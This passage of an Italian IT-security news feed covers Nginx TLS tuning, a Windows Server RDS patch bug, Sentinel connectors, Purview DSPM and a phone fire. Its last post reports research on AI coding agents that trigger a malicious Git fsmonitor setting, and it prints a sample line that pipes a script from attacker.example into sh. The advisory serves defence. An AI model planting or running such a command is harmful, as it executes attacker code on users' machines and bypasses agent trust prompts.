ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:
ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:
ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
Nota sul ssl_prefer_server_ciphers off: con TLS 1.3 e client moderni è il client a scegliere in modo sensato, quindi forzare l’ordine lato server (utile in epoca TLS 1.0/1.1 per evitare cifrari deboli) oggi aggiunge solo complessità. Se avete ancora bisogno di forzare l’ordine per policy di #compliance, impostatelo su on e mantenete la lista sopra come riferimento.

Per non reinventare la ruota ogni volta, usate il generatore di configurazione SSL di Mozilla, che tiene aggiornati i profili “modern”, “intermediate” e “old” in base alle #CVE e al supporto #browser corrente.

Il buffer TLS che nessuno ridimensionaUna delle ottimizzazioni meno note e più efficaci riguarda ssl_buffer_size. Di default Nginx usa un buffer da 16 KB per i record TLS, pensato per massimizzare il throughput su file di grandi dimensioni. Per pagine HTML, API JSON e asset piccoli — cioè la stragrande maggioranza del traffico applicativo — questo significa che il client deve attendere di ricevere l’intero buffer prima di poter iniziare a renderizzare qualsiasi cosa.

ssl_buffer_size 4k;
Riducendo il buffer a 4 KB il primo record TLS utile arriva prima, con un impatto misurabile sul TTFB percepito (tipicamente nell’ordine di 30-50ms su connessioni con latenza medio-alta). Il compromesso è un overhead leggermente maggiore per trasferimenti di grandi file per via del maggior numero di record; per questo motivo, se servite prevalentemente download di file di grandi dimensioni da un host dedicato, vale la pena valutare un buffer intermedio (es. 8k) o configurazioni separate per server block diversi.

OCSP stapling: una direttiva ormai innocuaPer anni la configurazione “corretta” includeva l’OCSP stapling per evitare che il browser dovesse contattare l’authority per verificare la revoca del certificato:

ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/to/full_chain.pem;
resolver 8.8.8.8 8.8.4.4 valid=300s;
resolver_timeout 5s;
Se usate Let’s Encrypt, sappiate che questa configurazione oggi non fa più nulla: dal 6 agosto 2025 Let’s Encrypt ha terminato il supporto agli endpoint OCSP, spostandosi esclusivamente su Certificate Revocation List (CRL) a corto raggio. Non è un errore lasciare le direttive nella configurazione (sono semplicemente inerti), ma se il vostro certificato proviene da un’altra CA verificate lo stato del suo servizio OCSP prima di considerarle superflue.

HTTP/3 e QUIC: attenzione al firewall, non solo a NginxHTTP/3 è disponibile in mainline Nginx dalla versione 1.25.0 e nei pacchetti binari ufficiali di nginx.org; l’adozione globale è ancora intorno al 21% contro il 50%+ di HTTP/2, ma per applicazioni con utenti su reti mobili o ad alta latenza il guadagno di QUIC (0-RTT, niente head-of-line blocking a livello di trasporto) è reale.

listen 443 ssl;
listen 443 quic reuseport;
http2 on;
add_header Alt-Svc 'h3=":443"; ma=86400';
Due avvertenze pratiche, spesso trascurate:

reuseport deve comparire su una sola direttiva listen, altrimenti Nginx non parte o bilancia male tra i worker.

QUIC viaggia su UDP: se la porta 443/UDP non è aperta sul firewall, il fallimento è silenzioso. Il browser prova QUIC, non riceve risposta e ricade automaticamente su HTTP/2 senza loggare alcun errore visibile lato client. Verificate esplicitamente con ufw allow 443/udp (o l’equivalente per il vostro firewall) e controllate con curl --http3 o la colonna “Protocol” di #Chrome DevTools.

Per il 0-RTT (early data) su QUIC serve OpenSSL 3.5.1 o successivo: con versioni precedenti HTTP/3 funziona comunque, semplicemente senza questa ottimizzazione aggiuntiva sul primo round trip.

Header di sicurezza che costano zero millisecondiNon influenzano il TTFB ma sono ormai lo standard minimo per qualunque endpoint HTTPS in produzione:

add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload";
add_header X-Frame-Options sameorigin;
add_header X-Content-Type-Options nosniff;
Da notare: X-XSS-Protection va rimosso, non aggiunto — i browser moderni lo ignorano e in alcuni casi storici introduceva vulnerabilità XSS reflected invece di prevenirle.

Il limite di questa ottimizzazione: dove il TLS tuning non arrivaVale la pena essere onesti su un punto: il tuning TLS riduce l’overhead del trasporto sicuro, ma non corregge un’applicazione lenta. Se il vostro TTFB è dominato da query database non indicizzate, da un backend PHP-FPM sottodimensionato o dall’assenza di una cache applicativa, i millisecondi guadagnati qui sono nell’ordine del rumore statistico rispetto ai secondi persi altrove. Il tuning TLS va trattato come l’ultimo 10% dell’ottimizzazione, da applicare dopo aver sistemato caching, query e CDN — non come sostituto.

Procedura di verificaDopo ogni modifica, il ciclo è sempre lo stesso:

nginx -t
nginx -s reload
nginx -t valida la sintassi prima del reload, evitando downtime per un errore di battitura in produzione. Per validare l’effetto reale, misurate il TTFB prima e dopo con strumenti come curl -w "%{time_starttransfer}\n" -o /dev/null -s https://vostro-sito.tld ripetuto più volte, oppure con WebPageTest per una view completa lato client reale.

ConclusioneNessuna di queste modifiche richiede un downtime pianificato o un cambio architetturale: sono direttive di configurazione che si testano e si applicano in pochi minuti. Il ritorno, moltiplicato per milioni di richieste al mese, è tutt’altro che trascurabile — ed è uno di quei rari casi in cui “ottimizzazione infrastrutturale” non significa comprare più hardware, ma semplicemente smettere di lasciare Nginx sui default di cinque anni fa.

Fonte originale: Nginx tuning tips: HTTPS/TLS – Turbocharge TTFB/Latency, LinuxBlog.io. Approfondimenti aggiuntivi su HTTP/3 in produzione: Serving HTTP/2 and HTTP/3 with Nginx in 2026.

Gli aggiornamenti cumulativi di settembre 2026 per #Windows Server hanno introdotto un problema serio su Remote Desktop Services: dopo l’installazione delle #patch, le sessioni #RDP su alcuni host iniziano a bloccarsi o a rifiutare nuove connessioni, spesso dopo diverse ore di funzionamento normale. Per chi gestisce collection RDS in produzione — RDSH multi-sessione, VDI o semplicemente jump server amministrativi — è un problema da conoscere prima di distribuire la patch su larga scala, perché tocca esattamente le macchine che gli amministratori usano per raggiungere il resto dell’infrastruttura.

Quali sistemi sono coinvoltiIl problema riguarda tre cumulative update distinti, uno per versione di sistema operativo:

KB5122876 — Windows Server 2019

KB5122882 — Windows Server 2022

KB5122871 — Windows Server 2025

Le note di rilascio Microsoft segnalano separatamente anche problemi su Windows Server 2016, con la redirezione audio di Remote Desktop non funzionante dopo l’installazione. Va inoltre ricordato che il pacchetto di settembre non è “solo” quello che introduce il bug: nello stesso ciclo Microsoft ha corretto oltre 970 vulnerabilità, incluse due zero-day già sfruttate attivamente. Questo rende la scelta “disinstallo la patch” tutt’altro che indolore.

Sintomi osservatiDalle segnalazioni raccolte dagli amministratori nei forum tecnici e da chi ha già debuggato il problema, il pattern tipico è il seguente:

RDS funziona normalmente per diverse ore dopo il riavvio post-patch;

le sessioni RDP esistenti smettono di disconnettersi o effettuare il logoff correttamente;

i nuovi tentativi di connessione restano bloccati sulla schermata “Connecting…” fino a fallire;

in alcuni casi il servizio va in crash dopo il primo logout utente, impedendo login successivi;

Task Manager e le impostazioni di sistema diventano a loro volta non responsive sull’host colpito, rendendo necessario un hard reset.

Chi ha fatto debugging più approfondito ha individuato nei log un deadlock nella libreria server RDP durante la chiusura di sessione: l’evento si blocca nella routine RDPSERVERBASE!WDLIB_Close, apparentemente senza timeout configurato, generando uno stallo tra il processo RDP e LSM (Local Session Manager). Nei log di sistema il sintomo si traduce nell’evento 20498 nel canale Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin.

Come verificare se un host è colpitoPrima di intervenire, è utile raccogliere qualche riscontro diagnostico in sola lettura:

Verifica eventi di timeout sulla connessione RDP

Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin'
Id = 20498
} -MaxEvents 5 | Format-Table TimeCreated, Message -Wrap

Controlla lo stato del servizio Terminal Services

Get-Service -Name TermService | Select-Object Name, StatusSe l'evento 20498 compare in concomitanza con logoff o riconnessioni di sessione, l'host è verosimilmente esposto al bug.

Le opzioni sul tavoloAl momento della stesura di questo articolo Microsoft non ha ancora confermato pubblicamente la causa né rilasciato una patch out-of-band; l'azienda ha dichiarato di essere a conoscenza delle segnalazioni e di stare indagando. Questo lascia agli amministratori due strade principali, entrambe con compromessi da valutare con attenzione:

1. Rollback del pacchetto cumulativoÈ l'opzione più testata e documentata. Rimuove il bug ma riporta l'host allo stato di vulnerabilità precedente, comprese le due zero-day corrette a settembre — accettabile solo come misura temporanea su host isolati o con mitigazioni compensative (segmentazione di rete, restrizioni di accesso RDP tramite VPN/Bastion) già in campo.

Individua il pacchetto della cumulative update installata

dism.exe /Online /Get-Packages /Format:Table | findstr /i "Package_for_RollupFix"

Rimuove il pacchetto (sostituire con il nome esatto restituito sopra)

dism.exe /Online /Remove-Package /PackageName:Package_for_RollupFix31bf3856ad364e35amd64~~20348.5622.1.2 /NoRestart

Riavvio richiesto per applicare la modifica

Restart-Computer -ForceSu una collection RDS gestita, conviene prima spostare l'host fuori rotazione per evitare che riceva nuove connessioni durante l'intervento:

Import-Module RemoteDesktop
Set-RDSessionHost -CollectionName "NomeCollection" -SessionHost "host.dominio.local" -NewConnectionAllowed No

... rollback e riavvio ...

Set-RDSessionHost -CollectionName "NomeCollection" -SessionHost "host.dominio.local" -NewConnectionAllowed Yes2. Workaround alternativi circolati in communityAlcuni blog tecnici indipendenti propongono un override tramite feature flag in HKLM\SYSTEM\CurrentControlSet\Control\FeatureManagement\Overrides, con l'obiettivo di disattivare selettivamente il componente incriminato senza rimuovere l'intera patch di sicurezza. Va detto con chiarezza: si tratta di un workaround non ufficiale, non validato da Microsoft, che tocca un'area del registro sensibile e non documentata pubblicamente per questo scopo. Non è consigliabile applicarlo direttamente in produzione: se lo si vuole testare, farlo solo su un host di laboratorio isolato, con backup del ramo di registro prima e dopo, e senza aspettarsi supporto ufficiale in caso di problemi.

Cosa fare adessoIl consiglio più solido, in attesa di una risposta ufficiale Microsoft, resta quello suggerito dai team di sicurezza che seguono il caso: distribuire l'aggiornamento di settembre prima su un piccolo gruppo di host RDS non critici, monitorare l'evento 20498 e lo stato del servizio TermService per 24-48 ore, e mantenere pronto un piano di rollback per gli host di produzione più esposti. Vale anche la pena avvisare in anticipo chi gestisce l'help desk: sessioni RDP che si bloccano "a caso" dopo qualche ora sono un sintomo facile da scambiare per un problema di rete o di carico, mentre qui l'origine è chiaramente lato patch.

Fonte: 4sysops – September Windows Server updates break Remote Desktop Services (RDS); approfondimenti tecnici da BleepingComputer e Cyber Security News.

“C’è una probabilità superiore al 10% che l' #IA ci uccida tutti entro il decennio”: lo ha detto il responsabile della #sicurezza IA di #Anthropic | #DDay.it

#uno #terminator #bigtech @sicurezza@diggita.com

https://www.dday.it/redazione/58677/ce-una-probabilita-superiore-al-10-che-lia-ci-uccida-tutti-entro-il-decennio-lo-ha-detto-il-responsabile-della-sicurezza-ia-di-anthropic-

Il problema del “connector sprawl” nei SOC multi-tenantChi gestisce un SOC (Security Operations Center) per un’organizzazione di dimensioni medio-grandi conosce bene un problema che raramente compare nelle demo dei prodotti #SIEM: le aziende moderne non vivono con un solo account per servizio. Un gruppo con più business unit può avere diversi tenant Auth0 segmentati per prodotto, più ambienti CrowdStrike Falcon per effetto di fusioni e acquisizioni, o più organizzazioni Salesforce distinte per area geografica o #normativa.

Fino a oggi, portare tutta questa telemetria dentro un’unica workspace Microsoft #Sentinel significava scontrarsi con un limite architetturale del modello dei connector: un connector, un account. Il risultato erano configurazioni duplicate, script custom per aggregare i dati, o — nello scenario peggiore — interi ambienti lasciati fuori dal perimetro di monitoraggio per semplice sovraccarico operativo. Microsoft ha ora affrontato direttamente questo problema con il supporto multi-account per tre connector molto usati in ambito enterprise.

Cosa cambia: supporto multi-account per Auth0, CrowdStrike Falcon e SalesforceCon l’aggiornamento annunciato sul Microsoft Sentinel Blog, i data connector per Auth0, CrowdStrike Falcon e Salesforce Service #Cloud supportano ora l’ingestione da più account o tenant attraverso un’unica configurazione di connector. La funzionalità si appoggia al Codeless Connector Framework (CCF), il framework che Microsoft utilizza per costruire connector dichiarativi senza dover scrivere codice custom per ogni integrazione.

Nello specifico, per ciascuna delle tre piattaforme cambia questo:

Auth0 — Multi-Tenant Identity Monitoring: i team che gestiscono più tenant Auth0 possono ora far confluire eventi di autenticazione, pattern di login anomali e violazioni di policy da tutti i tenant in un’unica workspace Sentinel, senza dover cambiare contesto per ogni ambiente.

CrowdStrike Falcon — Telemetria endpoint consolidata: le organizzazioni con più tenant Falcon (tipicamente per effetto di M&A o strutture regionali separate) possono ora far confluire detection alert, threat intelligence ed endpoint telemetry da tutti i tenant in un’unica pipeline di ingestione.

Salesforce Service Cloud — Insight cross-org: le aziende con più organizzazioni Salesforce possono centralizzare audit log, cronologia dei login e attività API su tutte le org, semplificando il rilevamento di insider threat, accessi non autorizzati e gap di #compliance senza dover correlare manualmente dati provenienti da fonti separate.

Come funziona in pratica: il workflow “Add Account”Il punto di forza dell’implementazione è la sua semplicità operativa. Non serve distribuire una nuova istanza del connector per ogni account: il connector esistente espone un nuovo comando che permette di aggiungere account aggiuntivi alla stessa configurazione. Il flusso, come descritto da Microsoft, si riduce a pochi passaggi:

Aprire Microsoft Sentinel → Data Connectors nel portale #Azure.

Cercare il connector desiderato (Auth0, CrowdStrike Falcon o Salesforce).

Aprire il connector e selezionare l’opzione “Add Account”.

Autenticare e autorizzare l’account aggiuntivo (tramite le credenziali/API key specifiche della piattaforma).

Avviare l’ingestione: i dati del nuovo account confluiscono automaticamente nella stessa tabella di log della workspace.

Un dettaglio operativo rilevante per chi già gestisce regole di detection in produzione: le analytics rule, i workbook e i playbook esistenti continuano a funzionare senza modifiche, perché operano sullo stesso schema di dati indipendentemente dal numero di account collegati. Non è quindi necessario duplicare le regole di correlazione per ogni tenant aggiunto: una singola query KQL scritta per rilevare, ad esempio, tentativi di login falliti ripetuti su Auth0 continuerà a funzionare — e a coprire — tutti i tenant collegati al connector, con la possibilità di filtrare o raggruppare per account direttamente nella query se serve un’#analisi granulare.

Perché conta per chi gestisce un SOCAl di là dell’annuncio, il valore pratico di questa funzionalità si misura su tre assi che chiunque abbia gestito un ambiente Sentinel multi-tenant riconoscerà:

Riduzione del carico di configurazione. Ogni connector duplicato è una configurazione da mantenere, da tenere sotto controllo per la scadenza delle credenziali, da documentare separatamente. Consolidare in un’unica configurazione riduce direttamente il lavoro di manutenzione ricorrente.

Eliminazione dei blind spot. È comune che un ambiente “secondario” (un tenant acquisito di recente, una org regionale minore) resti fuori dal monitoraggio semplicemente perché configurarlo separatamente non è mai stata la priorità. Abbassare la barriera operativa per aggiungere un account rende più probabile che venga effettivamente monitorato.

Indagini cross-environment più semplici. Durante un incident response, poter interrogare un’unica tabella per correlare eventi provenienti da più tenant/org, invece di dover incrociare manualmente dati da workspace o strumenti diversi, accorcia sensibilmente il tempo di analisi.

Cosa considerare prima di attivarloQualche aspetto pratico da valutare prima del rollout in un ambiente esistente:

Volume di ingestione e costi. Consolidare più account nello stesso connector aumenta il volume di dati ingeriti nella workspace Sentinel: vale la pena rivedere le stime di costo (Sentinel fattura in base al volume di dati analizzato/ingerito) prima di collegare tutti gli account contemporaneamente.

Permessi e segregazione. Se la governance interna richiede una separazione netta tra i dati di sicurezza di business unit diverse (ad esempio per requisiti normativi regionali), verificate come vengono gestiti i controlli di accesso a livello di query/workbook nella workspace condivisa, dato che i dati di più account convivono nelle stesse tabelle.

Compatibilità delle credenziali API. Ogni account aggiunto richiede la propria autenticazione verso la piattaforma di origine (API key Auth0, credenziali API CrowdStrike, connected app Salesforce): pianificate la rotazione delle credenziali per ciascun account separatamente.

Microsoft indica inoltre che il supporto multi-account continuerà a essere esteso ad altri connector nei prossimi rilasci, segno che il modello “un connector, molti account” diventerà probabilmente lo standard per le integrazioni costruite sul Codeless Connector Framework, non un’eccezione limitata a queste tre piattaforme.

ConclusionePer i team che gestiscono Microsoft Sentinel su ambienti articolati — gruppi con più società, aziende cresciute per acquisizioni, organizzazioni con presenza multi-regionale — questo aggiornamento rimuove uno degli attriti operativi più concreti nella gestione quotidiana del SIEM. Vale la pena rivedere oggi stesso la configurazione dei connector Auth0, CrowdStrike Falcon e Salesforce già in uso, capire quanti account “orfani” non sono ancora monitorati per pura complessità di setup, e valutare la migrazione verso la configurazione multi-account, tenendo d’occhio l’impatto sul volume di ingestione prima di collegare tutto in blocco.

Fonte: Microsoft Security Community Blog.

L’agenzia giapponese per la protezione dei consumatori ha reso pubblico un caso di incendio legato a un Google Pixel 6a (modello GA03714-JP), avvenuto durante la ricarica del dispositivo. L’episodio, risalente al 29 giugno 2025 ma reso noto solo il 4 settembre 2026, ha causato un’ustione lieve a una persona.

Rumore anomalo, poi le fiammeSecondo il rapporto ufficiale, il Pixel 6a era collegato a un cavo USB e un alimentatore di terze parti al momento dell’incidente. Durante la ricarica il telefono ha iniziato a emettere un rumore anomalo, per poi prendere fuoco, danneggiando sia il dispositivo che l’area circostante. Nell’incidente una persona ha riportato un’ustione, fortunatamente di lieve entità.

Causa del surriscaldamento ancora ignotaLe indagini condotte sul dispositivo indicano che a scatenare l’incendio sia stato un surriscaldamento anomalo delle celle della batteria agli ioni di litio. Tuttavia, a causa dei danni estesi subiti dalla batteria stessa, non è stato possibile risalire alla causa esatta del surriscaldamento. Le autorità precisano inoltre che, sebbene fossero in uso accessori di ricarica non originali, questo elemento da solo non permette di stabilire con certezza se il problema sia da attribuire al cavo, all’alimentatore o al telefono stesso.

I consigli per chi possiede un Pixel 6aLe batterie agli ioni di litio dei moderni smartphone sono generalmente sicure in condizioni normali d’uso, ma un malfunzionamento può portare a surriscaldamento o, nei casi più gravi, a un incendio. Per questo motivo, gli esperti raccomandano di prestare attenzione ad alcuni segnali durante la ricarica.

Interrompere subito la ricarica se il dispositivo si surriscalda in modo anomalo o emette rumori insoliti

Evitare di caricare lo smartphone per lunghi periodi senza sorveglianza, ad esempio durante la notte

Non caricare il telefono vicino a materiali infiammabili

Utilizzare sempre cavi e alimentatori di qualità certificata

Rivolgersi all’assistenza del produttore in caso di rigonfiamento della batteria o altri segnali di anomalia

Va precisato che il singolo episodio non permette di concludere che il Pixel 6a presenti un difetto sistemico. Tuttavia, l’accaduto è un utile promemoria per tutti gli utenti Android: qualsiasi comportamento anomalo di uno smartphone durante la ricarica, a prescindere dal modello, va preso sul serio. Chi utilizza da tempo un Pixel 6a e nota fenomeni sospetti farebbe bene a contattare il supporto Google prima di continuare a usare il dispositivo.

Oggi vi offriamo alcuni consigli pessimi sulla privacy e la sicurezza.
Scrivete qui sotto il consiglio peggiore che abbiate mai sentito.

@sicurezza@diggita.com

https://t.me/proton_privacy/339

#Proton #Sicurezza #Informatica #Privacy #PrivacyOnLine

Oggi è venerdì, e vi offriamo alcuni consigli pessimi sulla privacy e la sicurezza.

Scrivete qui sotto il consiglio peggiore che abbiate mai sentito.

@sicurezza@diggita.com

https://t.me/proton_privacy/339

#Proton #Sicurezza #Informatica #Privacy #PrivacyOnLine

Con l’adozione di #Copilot che accelera dentro Microsoft 365, molti team IT si stanno scontrando con un problema che precede di anni l’AI generativa ma che l’AI generativa rende improvvisamente urgente: la sovraesposizione dei dati. File condivisi “a chiunque abbia il link” dimenticati su #SharePoint anni fa, permessi ereditati mai ripuliti, cartelle OneDrive con dati finanziari accessibili a interi reparti. Finché a leggere quei file era un motore di ricerca aziendale poco usato, il rischio restava contenuto. Con un assistente AI che risponde a qualunque domanda pescando da tutto ciò a cui l’utente ha accesso, ogni permesso mal configurato diventa una potenziale fuga di informazioni istantanea. Microsoft #Purview Data Security Posture Management (DSPM) nasce per rispondere proprio a questo scenario, e vale la pena capire cosa fa concretamente, prima di attivare Copilot su larga scala.

Cos’è DSPM e perché non è “un altro tool di compliance”DSPM è il componente di Microsoft Purview dedicato a rispondere a quattro domande fondamentali sulla postura di sicurezza dei dati di un’organizzazione:

Che dati abbiamo? — discovery e classificazione automatica

Dove sono conservati? — mappatura di location e storage

Chi può accedervi? — #analisi dei pattern di accesso e permessi

Come sono protetti? — valutazione delle policy di protezione applicate

A differenza di un tool di #compliance tradizionale che verifica la conformità a una #normativa in un dato momento, DSPM è pensato per essere continuo: monitora costantemente lo stato dei dati sensibili in Microsoft 365, #Azure e alcune piattaforme di terze parti, e traccia se l’esposizione migliora o peggiora nel tempo attraverso un grafico di trend a 30 giorni sulla dashboard principale.

Il flusso operativo: discovery, assessment, remediationDSPM lavora attraverso cinque fasi concettuali:

Discovery: individua informazioni sensibili — dati di payroll, codici fiscali, contratti, proprietà intellettuale, codice sorgente — usando classificatori integrati e sensitive information type basati su pattern matching (numeri di carte di credito, patenti, SSN, oltre a classificazioni personalizzate per record finanziari o contratti specifici dell’organizzazione)

Assessment: valuta lo stato di crittografia, l’applicazione di etichette di sensibilità e i rischi di condivisione eccessiva

Prioritizzazione: ordina i problemi rilevati per severità, in modo da affrontare prima gli elementi a rischio più alto

Remediation: applica azioni correttive — etichette di sensibilità, riduzione dei permessi, creazione di policy DLP

Monitoraggio continuo: verifica se l’esposizione dei dati migliora o peggiora nel tempo

Un punto tecnico che vale la pena chiarire subito, perché genera spesso confusione: DSPM individua l’esposizione, DLP la applica. DSPM è lo strumento di ricerca e scoperta — risponde a “dove abbiamo un problema” — mentre Data Loss Prevention è il livello che impone effettivamente restrizioni comportamentali una volta identificato il rischio. Non sono strumenti alternativi ma complementari, e DSPM può generare direttamente raccomandazioni per creare o affinare policy DLP.

Le funzionalità chiaveData risk assessmentDSPM offre assessment predefiniti e personalizzabili che identificano contenuti sovraesposti, protezione inadeguata, etichette di sensibilità mancanti e permessi ad alto rischio. Quando questi problemi vengono confermati, DSPM può automatizzare passaggi di remediation come la rimozione di link di condivisione pubblici, l’applicazione di policy DLP, la revoca di permessi o l’applicazione di etichette di sensibilità — prima che l’incidente si verifichi, non dopo.

Rilevamento dei percorsi di esfiltrazioneUno degli use case più concreti è la mappatura dei cosiddetti “exfiltration path”: dati sensibili condivisi esternamente, o informazioni business-critical protette da controlli di accesso deboli. DSPM consolida in questo ambito gli insight provenienti da quattro soluzioni Purview distinte: Data Loss Prevention, Insider Risk Management, Information Protection (etichette di sensibilità) e Data Security Investigations — offrendo così una vista unificata invece di quattro dashboard scollegate.

DSPM for AI: la componente più rilevante per chi sta adottando CopilotCon l’estensione DSPM for AI, Microsoft ha aggiunto un livello di osservabilità specifico per gli agenti e le app AI, incluso Microsoft Agent 365. L’AI Observability Dashboard fornisce:

Un inventario delle app e degli agenti AI in uso nell’organizzazione

Attività registrata negli ultimi 30 giorni

Il conteggio degli agenti considerati ad alto rischio

Il numero totale di agenti che interagiscono con dati sensibili

Una vista dettagliata per singolo agente e per policy di governance applicata

In pratica, prima di dare a Copilot (o a qualunque altro agente AI collegato al tenant) accesso ai dati aziendali, DSPM for AI permette di vedere quali repository quell’agente toccherebbe e con quale livello di rischio, invece di scoprirlo a posteriori tramite un incidente.

Attivazione: i setup task principaliLa configurazione iniziale avviene dal Microsoft Purview portal, sotto DSPM > Actions > Setup tasks, dove ogni attività include istruzioni passo-passo, stato di completamento, tempo stimato e impatto previsto sugli utenti. I task principali sono:

Setup taskCosa faNoteAttivazione Microsoft Purview AuditVerifica che l’audit sia abilitatoAttivo di default sui tenant nuovi, va abilitato manualmente sui tenant esistentiOnboarding dei dispositiviDeploy su endpoint WindowsNecessario per la visibilità su siti AI di terze parti e per endpoint DLPEstensione browser PurviewDeploy su Chrome/EdgeRichiesta per le policy DLP a livello di browserEtichette di sensibilitàCrea etichette e policy predefiniteSolo se non già configurate nel tenantConfigurazione billingAttiva il pay-as-you-goRichiesta per alcune configurazioni avanzateIntegrazione con SentinelCollega il content hubFunzionalità in previewUn aspetto da verificare con attenzione prima del rollout è quello dei permessi: la documentazione ufficiale non elenca in modo esplicito i ruoli richiesti (Global Admin, Security Admin, Compliance Admin), quindi è opportuno validare con un tenant di test quali ruoli minimi servono per ciascun setup task, prima di assegnare permessi troppo ampi al team che gestirà DSPM in produzione.

Licensing: cosa aspettarsiDSPM (in versione “classica”) è incluso nelle licenze Microsoft 365 E5 / E5 Compliance, mentre alcune funzionalità più avanzate — in particolare componenti di DSPM for AI e alcune configurazioni di billing pay-as-you-go — possono richiedere add-on o un modello di consumo separato. Prima di pianificare il rollout, vale la pena verificare la Microsoft Purview Licensing Guidance aggiornata, perché il pacchetto di funzionalità incluse per fascia di licenza è soggetto a modifiche frequenti.

DSPM non sostituisce la compliance tradizionaleUn’ultima precisazione utile per chi deve giustificare il progetto internamente: DSPM offre visibilità sul trattamento dei dati sensibili ed è un complemento prezioso agli strumenti di compliance tradizionali, ma non li sostituisce. Framework normativi (GDPR, ISO 27001, settoriali) richiedono comunque processi, documentazione e controlli dedicati. DSPM riduce il rischio operativo e dà visibilità continua, ma resta uno strumento di data security posture, non un motore di conformità normativa.

Quando ha senso adottarloDSPM è particolarmente utile per organizzazioni che:

Stanno pianificando o hanno già distribuito Copilot su larga scala

Gestiscono ambienti SharePoint/OneDrive di grandi dimensioni con anni di condivisioni stratificate

Trattano dati regolamentati (finanziari, sanitari, PII in generale)

Faticano a mantenere visibilità sulla governance dei dati a scala aziendale

Organizzazioni piccole, con esigenze di compliance minime e un perimetro dati contenuto, potrebbero non trarne un beneficio proporzionato al costo di licenza e all’impegno di configurazione iniziale.

ConclusioneIl messaggio di fondo di DSPM è semplice ma spesso trascurato: attivare Copilot senza prima aver mappato chi può accedere a cosa significa dare a un assistente AI estremamente efficiente nel trovare informazioni lo stesso identico perimetro di accesso — sbagliato — che esisteva già, solo molto più velocemente interrogabile. Per i team che gestiscono tenant Microsoft 365 di dimensioni medio-grandi, un ciclo di discovery e remediation con DSPM prima del rollout di Copilot non è un passaggio opzionale di “nice to have”, ma la differenza tra un’adozione AI controllata e un incidente di esposizione dati che si scopre solo dopo che è già successo.

Fonte originale: Microsoft Purview Data Security Posture Management Explained: How It Reduces Data Exposure Before Copilot – Petri IT Knowledgebase (Brien Posey). Approfondimenti tecnici da Microsoft Learn.

Il problema non è nel modello AI, ma nell’idraulica sotto di essoI ricercatori di Manifold Security hanno pubblicato a inizio settembre 2026 una ricerca chiamata GitSpawn che identifica una classe di vulnerabilità presente in sette diversi agenti AI per lo sviluppo software: Claude Code, #OpenAI Codex CLI, Cursor, goose, Hermes Agent, Qwen Code e Grok Build. In totale sono stati individuati otto difetti distinti, quattro dei quali ancora privi di #patch al momento della pubblicazione. Il dato che rende la scoperta rilevante non è tanto la quantità di strumenti coinvolti, quanto la sua causa: come sintetizzano gli stessi ricercatori, “la vulnerabilità non è nel modello, né in qualcosa di nuovo: è nell’ordinaria idraulica sottostante”. Il colpevole è una funzionalità Git vecchia di anni, pensata per le #performance, non per la sicurezza.

core.fsmonitor: da ottimizzazione a primitiva di code executioncore.fsmonitor è un’impostazione Git legittima, pensata per velocizzare comandi come git status su repository di grandi dimensioni: il suo valore può essere il percorso di un comando esterno che Git invoca per sapere quali file sono cambiati, evitando una scansione completa del filesystem. È una funzionalità comoda e ampiamente documentata, il cui rischio in ambito “solo umano” è mitigato dal fatto che un normale git clone non porta con sé la configurazione locale del repository sorgente: .git/config non viene propagato dal clone remoto, quindi un repository malevolo scaricato normalmente da #GitHub non può iniettare questa impostazione.

Il problema nasce quando un repository arriva sul filesystem non tramite clone, ma con la directory .git già intatta: un archivio ZIP scaricato ed estratto, una cartella condivisa via unità di rete, una chiavetta USB, un #backup ripristinato, un progetto trasferito via #cloud sync. In tutti questi casi .git/config arriva integro, comprese eventuali righe malevole come:

[core]
fsmonitor = "sh -c 'curl attacker.example/payload | sh'"Gli agenti AI da riga di comando eseguono di routine comandi Git in background non appena aprono una cartella di lavoro — tipicamente git status o git diff — per orientarsi sul branch corrente e sui file modificati, così da costruire il contesto del progetto prima ancora di interagire con l’utente. Proprio questa esecuzione automatica di comandi Git è ciò che innesca core.fsmonitor, ed è ciò che lo rende, esattamente, pericoloso: il comando configurato viene eseguito con i pieni privilegi dell’utente collegato, fuori dalla sandbox dell’agente, senza alcuna richiesta di conferma.

Perché il timing è la parte più insidiosaLa ricerca di Manifold Security evidenzia che, in diversi agenti, l’esecuzione avviene prima di qualunque barriera di sicurezza pensata per proteggere proprio da questo tipo di scenario:

prima del prompt di “trust del workspace” (Claude Code, Hermes Agent);

prima dell’autenticazione dell’utente (Qwen Code);

prima ancora del primo tasto premuto nell’interfaccia (Grok Build).

In altre parole, aprire semplicemente una cartella con un agente AI — anche solo per “dare un’occhiata” a un progetto ricevuto — può bastare a innescare l’esecuzione del payload, senza che l’utente abbia dato alcun consenso esplicito all’agente di operare su quel repository.

Non solo fsmonitor: hook e filtri come vettori paralleliOltre a core.fsmonitor, i ricercatori segnalano altre impostazioni Git sfruttabili con lo stesso schema: core.hooksPath, che permette di ridirigere Git verso una directory di hook arbitraria, e le direttive attr.tree con filtri clean/process, che possono eseguire comandi durante normali operazioni sui file tracciati. Nel caso di goose, ad esempio, il comando goose review disattivava selettivamente una singola opzione di configurazione pericolosa (-c core.quotePath=off) senza però filtrare le altre, lasciando comunque una superficie sfruttabile.

